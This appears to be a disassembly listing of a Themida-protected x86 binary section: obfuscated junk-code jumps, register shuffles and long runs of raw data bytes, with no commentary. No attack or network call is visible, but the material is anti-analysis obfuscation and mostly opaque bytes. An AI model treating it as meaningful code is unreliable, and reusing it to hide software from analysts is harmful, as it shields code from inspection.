push 4BA4h
mov [esp], esi
mov esi, 29123998h
xchg edx, esi
neg edx
xchg edx, esi
dec esi
not esi
jmp loc_54A7B0
; ---------------------------------------------------------------------------
db 0BEh
dd 62D51F6h, 815EF189h, 4ECh, 24048900h, 1F22E9h, 24048300h
dd 24148B04h, 4C481h, 0EC830000h, 243C8904h, 4BFh, 5FFA0100h
dd 3D0AE9h, 4EC8100h, 89000000h, 68502414h, 7278109Dh
dd 6F230D58h, 0A40534E1h, 530D634Fh, 8F518FBBh, 5EC3813Bh
dd 0E915BF7Dh, 0FFFFAF10h, 9D1C77FFh, 19665866h, 0E99C2404h
dd 0FFFF9D7Ch
; ---------------------------------------------------------------------------
loc_549CA4: ; CODE XREF: Themida_:00549A0Ej
sub eax, ebx
add eax, 2EBF2837h
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
sub eax, ebx
sub eax, 56551E8h
jmp loc_548829
; ---------------------------------------------------------------------------
dw 0C8Bh
aSk2 db '$éŠ2',0
align 2
loc_549CD2: ; CODE XREF: Themida_:005474DCj
xor eax, edi
pop edi
xor eax, 26AD2F85h
shr eax, 5
push ebp
mov ebp, 6F51770Ah
sub ebp, 89DC3F87h
sub eax, 6EE447DCh
jmp loc_54D693
; ---------------------------------------------------------------------------
loc_549CF3: ; CODE XREF: Themida_:0054CE3Bj
mov [esp], eax
jmp loc_54EFF7
; ---------------------------------------------------------------------------
db 1
dd 0CF215BD9h, 9EC1E959h, 0C483FFFFh, 58C30104h, 1662E9h
db 0
; ---------------------------------------------------------------------------
loc_549D11: ; CODE XREF: Themida_:0054947Aj
inc ebp
xor ebp, 757E49D7h
mov ebx, ebp
pop ebp
mov ecx, ebx
pop ebx
jmp loc_54CC5F
; ---------------------------------------------------------------------------
loc_549D23: ; CODE XREF: Themida_:0054F682j
not ebx
jmp loc_54FB82
; ---------------------------------------------------------------------------
loc_549D2A: ; CODE XREF: Themida_:0054DC9Fj
mov ecx, esp
add ecx, 4
jmp loc_54A261
; ---------------------------------------------------------------------------
db 83h
dd 0E95204EAh, 5BFDh, 24048F54h, 4240481h, 0E9000000h
dd 6EAh, 0BB241C89h, 58FA202Ah, 2BE9DE31h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549D5F: ; CODE XREF: Themida_:0054E051j
push eax
jmp loc_54CE40
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 36EE924h, 248B0000h, 0BB02E924h, 0F800FFFFh, 66C6005Bh
dd 0E924048Bh, 109Dh, 9C240428h, 0FF9C93E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549D8D: ; CODE XREF: Themida_:00543A24j
push eax
mov ah, 0AEh
push ecx
mov ch, 0
or ch, 0E3h
jmp loc_5463EF
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0E2895200h, 4C281h, 0C2810000h, 4, 0E9241487h
dd 0FFFFFA7Ah
; ---------------------------------------------------------------------------
loc_549DB8: ; CODE XREF: Themida_:0054D859j
pop esi
jmp loc_54BE50
; ---------------------------------------------------------------------------
loc_549DBE: ; CODE XREF: Themida_:00543F54j
push edi
jmp loc_54B4B2
; ---------------------------------------------------------------------------
dd 0E9241C89h, 1B80h, 4C781h, 0EF810000h, 4, 5C243C87h
dd 0B9240C89h, 2FDECEB3h, 159CD01h, 242C8BE8h, 52E38953h
dd 191986BAh, 0E281421Bh, 15944BB2h, 0E906EAC1h, 526Ah
; ---------------------------------------------------------------------------
loc_549E04: ; CODE XREF: Themida_:0054F35Ej
pop esi
jmp loc_5499E7
; ---------------------------------------------------------------------------
dw 34FFh
dd 89515824h, 4C181E1h, 0E9000000h, 0FFFFC32Dh
; ---------------------------------------------------------------------------
loc_549E1C: ; CODE XREF: Themida_:0054F30Cj
push eax
mov eax, 5F25084Eh
sub ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_54B958
; ---------------------------------------------------------------------------
loc_549E32: ; CODE XREF: Themida_:0054DB66j
mov ebx, 78C136EBh
neg ebx
not ebx
sub ebx, 78C136E6h
add ebp, ebx
jmp loc_549A48
; ---------------------------------------------------------------------------
dd 0CEEC581h, 0EE89E343h, 81DEF75Dh, 0B10ACBEEh, 0C1CE8167h
dd 0F719916Fh, 2BE681D6h, 0E96B2B1Ah, 0FFFFC266h, 5C243C87h
dd 0E957D829h, 0FFFFB2D0h, 0E9525058h, 0FFFFB886h, 6652B951h
dd 38E971ABh, 5800001Bh, 83241C8Bh, 0C68104C4h, 0B8B41BFh
dd 9CBA52h, 0CA812AEEh, 68FD33A1h, 0BC8AF281h, 0D6016B39h
dd 0FFF0315Ah, 815E2434h, 4C4h, 45BE5600h, 83626E74h, 148904ECh
dd 0D4685624h, 5E673861h, 8102E6C1h, 21DDD8C6h, 0BE5656AEh
dd 2950F79h, 0FFACD5E9h, 86850FFh, 5867E15Ch, 0B21C5C05h
dd 802E9E6h, 2AB00000h, 28B4EE80h, 0C5E953C6h, 68FFFFF7h
dd 2618h, 81243C89h, 37B02434h, 51E95DBFh, 81FFFFBBh, 466CE5E5h
dd 95409570h, 9C8ED81h, 0E931CBF6h, 81242C8Bh, 4C4h, 0E9CA8900h
dd 0FFFFD2EEh, 24048B66h, 68E78957h, 474Ah, 0FFA6CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549F45: ; CODE XREF: Themida_:0054E53Fj
push esi
mov esi, 9C970BFEh
jmp loc_54DF1E
; ---------------------------------------------------------------------------
loc_549F50: ; CODE XREF: Themida_:00548BAFj
add esp, 4
add eax, esi
pop esi
sub eax, 41DA2023h
pop edi
add eax, 2
xchg eax, [esp]
mov esp, [esp]
movsx cx, al
push small 11E6h
mov [esp], cx
jmp loc_543A20
; ---------------------------------------------------------------------------
db 89h
dd 0C6E92424h, 53FFFFFCh, 1D7653BBh, 7E3C12Bh, 8E9DBF7h
dd 81FFFFB9h, 5B57242Ch, 53683CA6h, 0E900006Ch, 0E1Ah
; ---------------------------------------------------------------------------
loc_549FA4: ; CODE XREF: Themida_:00548357j
mov [esp], eax
jmp loc_54E98D
; ---------------------------------------------------------------------------
dd 0EB81EB01h, 449E6DB6h, 0AEEB815Dh, 0E95DC57Ah, 0FFFFEF11h
dd 8324048Bh, 0C72904C4h, 0E92434FFh, 0FFFFB4D2h, 0E92FB551h
dd 50D7h, 41A968ADh, 0C890000h, 4482B924h, 39E9656Fh
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549FEB: ; CODE XREF: Themida_:0054744Cj
; Themida_:0054C157j ...
push dword ptr [edi+24h]
xor dword ptr [esp], 91B0BD2h
push dword ptr [esp]
pop ecx
jmp loc_54900E
; ---------------------------------------------------------------------------
aZSp db '‡<$\é',8,0
db 0
; ---------------------------------------------------------------------------
loc_54A007: ; CODE XREF: Themida_:00547A86j
xor cl, bh
pop ebx
sub bl, 21h
jmp loc_5498A3
; ---------------------------------------------------------------------------
dw 7D25h
dd 508742Bh, 0FD3107BBh, 8158C789h, 0EC07F0C2h, 0E9FA292Bh
dd 0C58h, 2BFh, 8BFA0100h, 0C483243Ch, 0D164E904h, 0E189FFFFh
dd 48BBBB53h, 0EBC158E7h, 0E3C14B07h, 0EB814B04h, 15493FB7h
dd 56BCC381h, 0C1810A2Ch, 1B431CD2h, 0FFE181E9h, 240C8BFFh
dd 50E38953h, 35716857h, 875F51A0h, 0CBF9E9F7h, 0D5F7FFFFh
dd 2ECDF581h, 4CE979D0h, 81FFFFB3h, 4C7h, 4EF8100h, 87000000h
dd 0AAE9243Ch, 0F6000040h, 0B60F66E9h, 0EC8155CCh, 4, 7BA968h
dd 24248900h, 4240483h, 5024048Fh, 4B8h, 24440100h, 0DCE95804h
dd 89000034h, 4EC83E6h, 0E9240489h, 0FFFFF207h, 0E952D801h
dd 106Dh, 0CF23E957h, 34FFFFFFh, 2EE2E924h, 4890000h, 80F0B424h
dd 0DBE922ECh, 0BEFFFFF8h, 4A451E33h, 0F681DEF7h, 2C441B91h
dd 7B21F681h, 0EE817716h, 6D060C5Ah, 161EE9h
db 0
; ---------------------------------------------------------------------------
loc_54A115: ; CODE XREF: Themida_:0054D9C2j
mov ecx, 23CF30DBh
jmp loc_54F4DB
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF98FCh
; ---------------------------------------------------------------------------
loc_54A124: ; CODE XREF: Themida_:0054E352j
and eax, ebx
push dword ptr [esp]
pop ebx
push edx
push esp
pop edx
add edx, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
add edx, ecx
push dword ptr [esp]
jmp loc_548D4C
; ---------------------------------------------------------------------------
aBIai db 'Áê',7,'êˆ I',0
dd 0E95AD701h, 0FFFF9B76h, 0D9E95351h, 80000013h, 0F530E4C6h
dd 11C5805Ah, 32E9EB30h, 28FFFFABh, 5B665AD0h, 0A9E9C330h
dd 68FFFFC8h, 65F4h, 0B7241C89h, 86DFF690h, 86DAF6D7h
dd 0FE5366D7h, 6601244Ch, 80D7F65Bh, 2BE9FECFh
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A1A3: ; CODE XREF: Themida_:005445FAj
mov ebp, [esp]
push eax
mov eax, esp
jmp loc_54DB4F
; ---------------------------------------------------------------------------
dw 0EE81h
dd 2, 5C243487h, 2445E9h, 0B2526600h, 0E9690498h, 0FFFF9E05h
dd 0FBB6E95Ch, 0F901FFFFh, 8C8BF57h, 94E90C72h
db 28h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A1DB: ; CODE XREF: Themida_:0054F717j
pop eax
mov esi, [esp]
add esp, 4
loc_54A1E5: ; CODE XREF: Themida_:0054AA91j
push ecx
mov ecx, esp
push edx
push eax
mov eax, 52DE055Fh
mov edx, eax
pop eax
add edx, 14CC50F0h
xor edx, 67AA564Bh
add ecx, 55694F5Ch
add ecx, edx
sub ecx, 55694F5Ch
pop edx
sub ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_548E2C
; ---------------------------------------------------------------------------
loc_54A231: ; CODE XREF: Themida_:0054FAE7j
mov eax, esi
pop esi
mov ecx, [esp]
add esp, 4
mov esi, [esp]
add esp, 4
push 21A7h
mov [esp], edi
mov edi, 16D269F1h
shr edi, 7
add edi, 0FFFFFFFFh
shr edi, 3
push eax
mov eax, esp
jmp loc_54A639
; ---------------------------------------------------------------------------
loc_54A261: ; CODE XREF: Themida_:00549D32j
push ebp
jmp loc_54B135
; ---------------------------------------------------------------------------
db 54h
dd 0BEE9565Dh, 0BBFFFFAEh, 3F013951h, 173E9h
db 0
; ---------------------------------------------------------------------------
loc_54A279: ; CODE XREF: Themida_:0054A603j
shr edx, 1
jmp loc_545B03
; ---------------------------------------------------------------------------
aASb db 'Áí',8,'é"',0
align 4
dd 68241C89h, 15E4h, 0B0240489h, 0E9C38818h, 366Dh
; ---------------------------------------------------------------------------
loc_54A29C: ; CODE XREF: Themida_:0054E232j
add ecx, 5A821483h
dec ecx
add ecx, 3A07926h
add edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
and eax, edx
jmp loc_545021
; ---------------------------------------------------------------------------
loc_54A2BC: ; CODE XREF: Themida_:00549BC5j
mov ebp, [esp]
jmp loc_54A40D
; ---------------------------------------------------------------------------
dd 8108E5C1h, 74B83CF5h, 0DDF74D90h, 4CC9CD81h, 0F5812AC6h
dd 8FEAFAC0h, 1A8EE9h, 68515000h, 378745E8h, 0C2E98159h
dd 0E9D55A14h, 0FFFFC270h
; ---------------------------------------------------------------------------
loc_54A2F4: ; CODE XREF: Themida_:0054837Ej
push ebp
mov ebp, 716E6313h
xor ebp, 633A69B1h
dec ebp
push edx
mov edx, 0F4A2CE7h
jmp loc_54E2D5
; ---------------------------------------------------------------------------
dd 0BF575D54h, 4, 0E95FFD01h, 0FFFFE5DFh, 546CE681h, 0D6F75A3Dh
dd 0AB9FF681h, 0F001E5DEh, 0FFEAB2E9h, 4E3C1FFh, 0FFF43FE9h
dd 0EC8359FFh, 242C8904h, 0B2D1CBDh, 18F5816Ah, 816A0B2Dh
dd 0F91E71E9h, 81E90132h, 0F91E71C1h, 3D52E932h, 55B0000h
dd 4DDDBCC4h, 0F758C321h, 3CE8E9DBh, 0E6880000h, 9E31E958h
dd 0C059FFFFh, 0F28003E2h, 2DB55167h, 49C9E9h, 0B0505B00h
dd 0E9C3286Ah, 3B95h, 4C681h, 0EE810000h, 4, 5C243487h
dd 52243C89h, 1A6AABBAh, 9CFE90Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A3AE: ; CODE XREF: Themida_:0054BBEAj
add esp, 4
or edx, eax
shl edx, 1
push 13B2h
mov [esp], edx
push 0FFFFFFFFh
push dword ptr [esp]
mov edx, [esp]
jmp loc_54D4EE
; ---------------------------------------------------------------------------
dd 4C481h, 0E2C00000h, 1797E908h, 14890000h, 3CB95124h
dd 0E93E3305h, 3D90h, 885BD929h, 240C8B11h, 0E904C483h
dd 0FFFF9624h
; ---------------------------------------------------------------------------
loc_54A3FC: ; CODE XREF: Themida_:00546D71j
push edx
push ebx
mov ebx, 168B0AD0h
mov edx, ebx
pop ebx
mov ebp, edx
jmp loc_54B69F
; ---------------------------------------------------------------------------
loc_54A40D: ; CODE XREF: Themida_:0054A2BFj
add esp, 4
or eax, eax
jmp loc_54DA6E
; ---------------------------------------------------------------------------
db 5Ah
dd 0FFD864E9h, 66F9F6FFh, 83CCB60Fh, 48904ECh, 4EC8324h
dd 52242489h, 4BAh, 0C214E900h, 0E959FFFFh, 2ACCh, 24048B66h
dd 4EC81h, 1C890000h, 1C8B5424h, 4C48124h, 56000000h, 2D06E9h
dd 0E9D6F700h, 0FFFFF32Ah
; ---------------------------------------------------------------------------
loc_54A464: ; CODE XREF: Themida_:0054738Aj
add edx, ecx
pop ecx
xor edx, 59C333Ah
not edx
jmp loc_544C6B
; ---------------------------------------------------------------------------
loc_54A474: ; CODE XREF: Themida_:0054C386j
add esp, 4
shr esi, 1
add esi, 565F3B55h
inc esi
jmp loc_54E59C
; ---------------------------------------------------------------------------
loc_54A485: ; CODE XREF: Themida_:00547FE0j
mov [esp], edi
jmp loc_5475EF
; ---------------------------------------------------------------------------
db 0ACh, 4, 71h
dd 8072B753h, 9BE944F7h
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A49B: ; CODE XREF: Themida_:005452EFj
push ecx
jmp loc_54D5E8
; ---------------------------------------------------------------------------
loc_54A4A1: ; CODE XREF: Themida_:0054D606j
mov ecx, 66241143h
jmp loc_546798
; ---------------------------------------------------------------------------
loc_54A4AB: ; CODE XREF: Themida_:0054B960j
pop ebp
jmp loc_54D2F2
; ---------------------------------------------------------------------------
db 0B0h, 65h, 0B2h
dd 0E9C22897h, 0FFFFF9BCh, 0BFE95B54h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A4C3: ; CODE XREF: Themida_:0054E605j
push eax
push ecx
mov cl, 17h
jmp loc_5474B1
; ---------------------------------------------------------------------------
dd 3B0FF181h, 0C8293557h, 592434FFh, 5204C483h, 6C6793BAh
dd 1E65E931h, 0C8890000h, 0FEEB8159h, 0E939473Ah, 4A77h
dd 0DAEBE95Dh, 0E950FFFFh, 1617h, 5157535Ch, 4EC81h, 34890000h
dd 0CE41E924h, 1C33FFFFh, 3749E924h, 1E90000h, 83FFFF95h
dd 2C8704C5h, 0C6815C24h, 4, 2BB53h, 0DE010000h, 83241C8Bh
dd 348704C4h, 4B39E924h, 0D8010000h, 82BA525Bh, 0E9422313h
dd 0FFFFBD2Ch, 1CCBCF81h, 0E7812A86h, 5836693Ch, 51E38953h
dd 4B9h, 1475E900h, 0DA010000h, 56D2EA81h, 0E95B13F5h
dd 0FFFFCF6Eh, 0F8005966h, 71045Bh, 0E95366D8h, 0FFFF94A1h
dd 0FD300DB7h, 26E95B66h, 89FFFF96h, 0FCE92434h
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A59B: ; CODE XREF: Themida_:00548CF3j
add ebp, ebx
jmp loc_54A90E
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 2836E902h, 5A660000h, 1C8BFE20h, 51D1E924h, 0E95A0000h
dd 0FFFFC8B1h, 52665866h, 24348166h, 5D661E88h, 82B86650h
dd 0B4D5E925h, 815FFFFFh, 631FE7EFh, 5FFA895Eh, 34FFD001h
dd 89505A24h, 0F5BE56E0h, 4E468D1Dh, 0F681EED1h, 23468EFEh
dd 34FFF001h, 24348B24h, 0FFF79AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A601: ; CODE XREF: Themida_:0054E2B2j
or ebx, ebx
jnz loc_54A279
push ecx
mov ecx, 20h
add ecx, edi
push eax
mov eax, 0
jmp loc_54FB1E
; ---------------------------------------------------------------------------
loc_54A61C: ; CODE XREF: Themida_:0054F16Cj
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_54DFF1
; ---------------------------------------------------------------------------
loc_54A62C: ; CODE XREF: Themida_:0054DA1Ej
xchg ebx, [esp]
mov esp, [esp]
and eax, ebx
jmp loc_54CBD5
; ---------------------------------------------------------------------------
loc_54A639: ; CODE XREF: Themida_:0054A25Cj
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
push edx
mov edx, 51D73D92h
jmp loc_54E46E
; ---------------------------------------------------------------------------
db 68h, 50h, 3Dh
dd 7AE90000h, 80FFFF9Bh, 0C28065EDh, 3DA8E976h, 5F540000h
dd 4BD55h, 70E90000h, 54000040h, 4C5815Dh, 83000000h, 2C3302C5h
dd 242C3124h, 0FF9E43E9h, 3FC381FFh, 813A6C38h, 306576C3h
dd 0E9C3017Bh, 148h, 4EC81h, 1C890000h, 0E9E38924h, 0FFFFA895h
dd 3E9C166h, 0FFC8A7E9h, 0C80058FFh, 0E9D40459h, 4908h
dd 0E9240487h, 0FFFFC324h, 3034542Ch, 0E958C728h, 1C9h
; ---------------------------------------------------------------------------
loc_54A6D8: ; CODE XREF: Themida_:005481E1j
pop edi
add esi, 4
xchg esi, [esp]
jmp loc_544617
; ---------------------------------------------------------------------------
db 0F7h
dd 91F181D1h, 0E940D07Dh, 0FFFFC7FFh, 48BC589h, 4C48124h
dd 31000000h, 2434FFE8h, 4EC815Dh, 0E9000000h, 0FFFFE0A0h
dd 4240483h, 4C7815Fh, 56000000h, 188BE9h, 0EC815600h
dd 4, 0FFD1AAE9h, 58C689FFh, 335EF701h, 3C31243Ch, 243C3324h
dd 8124248Bh, 4ECh, 24348900h, 43166852h, 0CBE90000h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A753: ; CODE XREF: Themida_:0054E730j
dec ecx
add ecx, 363835B9h
add ecx, 4215779h
jmp loc_54BC6F
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 8904EC83h, 5A542414h, 4C281h, 0C2810000h, 4, 5C241487h
dd 4C281h, 57530000h, 5010E9h, 0A4A6800h, 2C890000h, 83E58924h
dd 0C8904ECh, 4199E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A7A2: ; CODE XREF: Themida_:0054BD83j
xchg ebx, [esp]
jmp loc_545DC8
; ---------------------------------------------------------------------------
dw 0E95Fh
dd 1CE8h
; ---------------------------------------------------------------------------
loc_54A7B0: ; CODE XREF: Themida_:00549C2Ej
push edx
jmp loc_54E2C5
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48324h, 0FFC0DAE9h, 52882CFFh, 0E904EC83h, 0FFFFD228h
; ---------------------------------------------------------------------------
loc_54A7CC: ; CODE XREF: Themida_:00548072j
sub ebp, ecx
sub ebp, 329D6A40h
pop ecx
sub edx, 688F1BDAh
sub edx, ebp
add edx, 688F1BDAh
jmp loc_54C0F9
; ---------------------------------------------------------------------------
dd 6576EB81h, 0FEE97B30h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A7F3: ; CODE XREF: Themida_:0054EA3Cj
mov [esp], ebp
push eax
jmp loc_5496AC
; ---------------------------------------------------------------------------
dd 4C481h, 47210000h, 2434FF1Ch, 8124048Bh, 4C4h, 32685600h
dd 89000011h, 4832424h, 525E0424h, 4BAh, 0DBABE900h, 0F028FFFFh
dd 0F8005A66h, 0FFF988E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A835: ; CODE XREF: Themida_:00544527j
push dword ptr [esp]
jmp loc_54D001
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 36E9240Ch
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A84B: ; CODE XREF: Themida_:0054D374j
mov ecx, 0D0E04A6Eh
sub ecx, ebx
jmp loc_547F74
; ---------------------------------------------------------------------------
db 83h
dd 0F381FFEBh, 671A38A4h, 366DF381h, 0DD894147h, 0EE68575Bh
dd 0E90A930Ch, 0FFFFAE4Ah, 24348B5Eh, 815D5455h, 4C5h
dd 0FC99E900h, 8F5FFFFFh, 835C2404h, 2C8904ECh, 0B308E924h
dd 0F66FFFFh, 9C2404BBh, 0FF917FE9h, 24148BFFh, 2804C483h
dd 241C8BF8h, 3004C483h, 0C0B60FC3h, 578734FFh, 5025E9h
db 0
; ---------------------------------------------------------------------------
loc_54A8BD: ; CODE XREF: Themida_:005440AAj
not esi
not esi
sub esi, 51C8262Eh
xor esi, 0AC5A6207h
add ebp, esi
jmp loc_548C64
; ---------------------------------------------------------------------------
loc_54A8D4: ; CODE XREF: Themida_:0054B05Cj
shr ebp, 8
inc ebp
jmp loc_54CB8E
; ---------------------------------------------------------------------------
loc_54A8DD: ; CODE XREF: Themida_:0054BA87j
mov [esp], eax
xchg ecx, [esp]
xchg edi, ecx
not edi
xchg edi, ecx
xchg ecx, [esp]
pop eax
xor [esp], eax
jmp loc_543C2C
; ---------------------------------------------------------------------------
loc_54A8F5: ; CODE XREF: Themida_:00547201j
mov ecx, 4
sub ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], eax
mov eax, 4CE93A31h
jmp loc_54D80C
; ---------------------------------------------------------------------------
loc_54A90E: ; CODE XREF: Themida_:0054A59Dj
pop ebx
sub ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebp
push ebx
mov ebx, 3D3400D5h
or ebx, 1C95525Bh
dec ebx
push esi
jmp loc_545A9D
; ---------------------------------------------------------------------------
dw 1487h
dd 66645C24h, 0E5E90289h, 5FFFF90h, 4F931FB0h, 5F780105h
dd 58C22125h, 0FFE734E9h, 33E95EFFh
db 9Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A953: ; CODE XREF: Themida_:005480D2j
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
loc_54A966: ; CODE XREF: Themida_:loc_54DA6Ej
push esi
mov esi, esp
push edx
mov edx, 4
add esi, edx
pop edx
jmp loc_54714C
; ---------------------------------------------------------------------------
db 0B4h
dd 66E72849h, 0D6B25258h, 885AD728h, 51665BFAh, 0CA0050B1h
dd 0DAE95966h, 0F7000035h, 25BD2DD8h, 0C3299F49h, 4EC8158h
dd 89000000h, 0C9BA2414h, 81389C42h, 986463C3h, 81D30168h
dd 986463EBh, 24148B68h, 286E9h
db 0
; ---------------------------------------------------------------------------
loc_54A9C1: ; CODE XREF: Themida_:00544776j
xchg ebp, [esp]
pop esp
push 1B93h
mov [esp], edx
mov edx, esp
jmp loc_5440F8
; ---------------------------------------------------------------------------
dd 212C68h, 0A8D1E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A9DE: ; CODE XREF: Themida_:00549569j
xchg ebx, ecx
neg ebx
jmp loc_54B84F
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 38FEE900h, 815A0000h, 4946A4C5h, 9F42E911h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A9FE: ; CODE XREF: Themida_:0054E438j
sub bx, 4AFh
push eax
mov eax, esp
jmp loc_546DE7
; ---------------------------------------------------------------------------
db 5Dh
dd 0FFFFE981h, 68FFFFh, 29000000h, 7EE9240Ch
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AA1F: ; CODE XREF: Themida_:0054D19Cj
xchg ecx, [esp]
pop esp
mov [esp], dx
mov dx, 83h
xor dx, 23F8h
or dx, 5DCBh
push dx
not word ptr [esp]
pop dx
xchg ax, dx
add ax, 0FFFFh
xor dx, ax
xor ax, dx
xor dx, ax
shl dx, 7
jmp loc_54E84A
; ---------------------------------------------------------------------------
db 0B7h, 0A5h, 0
dd 1C8B66F8h, 2C48124h, 28000000h, 0E9A52CF0h, 0FFFFB57Ch
dd 8904EC83h, 0BB7241Ch, 801ACF80h, 0D36846EFh, 89000079h
dd 0CFB62414h, 28A7F680h, 2B4E9F7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AA8E: ; CODE XREF: Themida_:00548789j
pop esp
or eax, eax
jz loc_54A1E5
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
push edi
jmp loc_54C959
; ---------------------------------------------------------------------------
db 80h, 0C3h, 0C1h
dd 0B450C328h, 58E328C1h, 0FE95B151h, 0D8F180C9h, 0E9DAC380h
dd 0FFFFC63Dh, 4CFE2D5Eh, 0D8012570h, 8904EC83h, 0E953240Ch
dd 4F77h, 3166AD66h, 126768D8h, 14890000h, 9B686624h, 148B6641h
dd 2C48324h, 0FFEA8166h, 0A8E951FFh
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AAFB: ; CODE XREF: Themida_:005472E2j
push edi
mov edi, 44E865DCh
jmp loc_5472A7
; ---------------------------------------------------------------------------
dw 0C683h
dd 0C736E904h, 8952FFFFh, 4678E9E2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AB16: ; CODE XREF: Themida_:00548E3Aj
mov [esp], ecx
mov ecx, 0DB712B2h
jmp loc_54F49A
; ---------------------------------------------------------------------------
db 83h
dd 0C8702C1h, 0D8005C24h, 0FFA929E9h, 66EA81FFh, 811DC01Eh
dd 5E06DFEAh, 5AD02977h, 0D879652Dh, 24348B33h, 4E956856h
dd 24890000h, 24048124h, 4, 0FFD9D6E9h, 4C781FFh, 83000000h
dd 3C8704C7h, 48F5C24h, 24248B24h, 4EC81h, 0C890000h, 4EC8124h
dd 89000000h, 7682404h, 8900002Eh, 1BB241Ch, 0E963C12Ch
dd 0FFFFE889h, 0E904EC83h, 0FFFFA43Ch, 5143D3F7h, 364E72B9h
dd 6E18179h, 81761015h, 0EE390E9h, 59CB31F0h, 34FFD801h
dd 54535B24h, 83241C8Bh, 0C38104C4h, 4, 4C381h, 8DE90000h
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ABD3: ; CODE XREF: Themida_:0054F28Cj
push ebx
push 5FF84F27h
mov ebx, [esp]
add esp, 4
jmp loc_54EFD3
; ---------------------------------------------------------------------------
aZ4LHjy db '‡4$‹$$h†Y',0
dw 8900h
dd 0D388241Ch, 4EC81h, 0A2E90000h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54ABFF: ; CODE XREF: Themida_:00547580j
push eax
mov eax, 4
add edi, eax
pop eax
sub edi, 4
jmp loc_54E25C
; ---------------------------------------------------------------------------
db 33h
dd 248B240Ch, 0AB0F6624h, 0E99C2404h, 0FFFF8DFCh, 8B5AD001h
dd 0C481242Ch, 4, 6F7A68h, 24348900h, 86628BBEh, 29C36851h
dd 22E90000h, 83FFFFDBh, 0EC8104C4h, 4, 56240C89h, 0D3F6855h
dd 0C3E930A4h, 0ADFFFF8Eh, 25BDE9h
db 0
; ---------------------------------------------------------------------------
loc_54AC65: ; CODE XREF: Themida_:00546A52j
add ecx, 4
xchg ecx, [esp]
pop esp
not ebx
sub ebx, 0FFFFFFFFh
push edi
mov edi, 748170CDh
add edi, 74E0135h
xor ebx, edi
jmp loc_5490F9
; ---------------------------------------------------------------------------
dd 2BE5653h, 81725840h, 694F21CEh, 2E6C178h, 0B9CE81h
dd 0F6813249h, 0A2B72E77h, 72E9F389h, 8100004Ch, 4C7h
dd 74FF5700h, 8F5F0424h, 815C2404h, 23395EEBh, 0D5AAE974h
dd 4968FFFFh, 0E9000037h, 0FFFFF712h, 240C8B66h, 4EC81h
dd 94E90000h, 89FFFF95h, 0DD255FF8h, 0E95B3B2Fh, 0FFFF9BA7h
dd 0CC685D54h, 8900000Eh, 19BF243Ch, 0F74E9D41h, 6EFC1DFh
dd 0D105EFC1h, 1EF83E7h, 58A9F781h, 0BA52002Ch, 7F881042h
dd 15AD501h, 42ED81FDh, 8B7F8810h, 0E952243Ch, 2E08h
; ---------------------------------------------------------------------------
loc_54AD24: ; CODE XREF: Themida_:00549BBBj
pop ecx
xor edx, 6279482Bh
shl edx, 2
push ebp
mov ebp, 3F2976E2h
shr ebp, 5
xor ebp, 1D36DD7h
jmp loc_54E1B3
; ---------------------------------------------------------------------------
aZaq db 'Zە%',0
db 0F8h
dd 0E9515B5Bh, 0FFFFEDE9h
; ---------------------------------------------------------------------------
loc_54AD50: ; CODE XREF: Themida_:0054CBBCj
xor ecx, eax
pop eax
shr ecx, 6
and ecx, 3983924h
xor ecx, 0C151FDEh
jmp loc_544D68
; ---------------------------------------------------------------------------
db 33h
dd 3C31243Ch, 243C3324h, 0F24248Bh, 9C51C8AFh, 0FF8CA3E9h
dd 81C2BFFFh, 0D731262Bh, 0ABF575Ah, 291CB25Fh, 0F8295FF8h
dd 0B25F0A05h, 2434FF1Ch, 0A0E6E95Fh, 348BFFFFh, 205CE924h
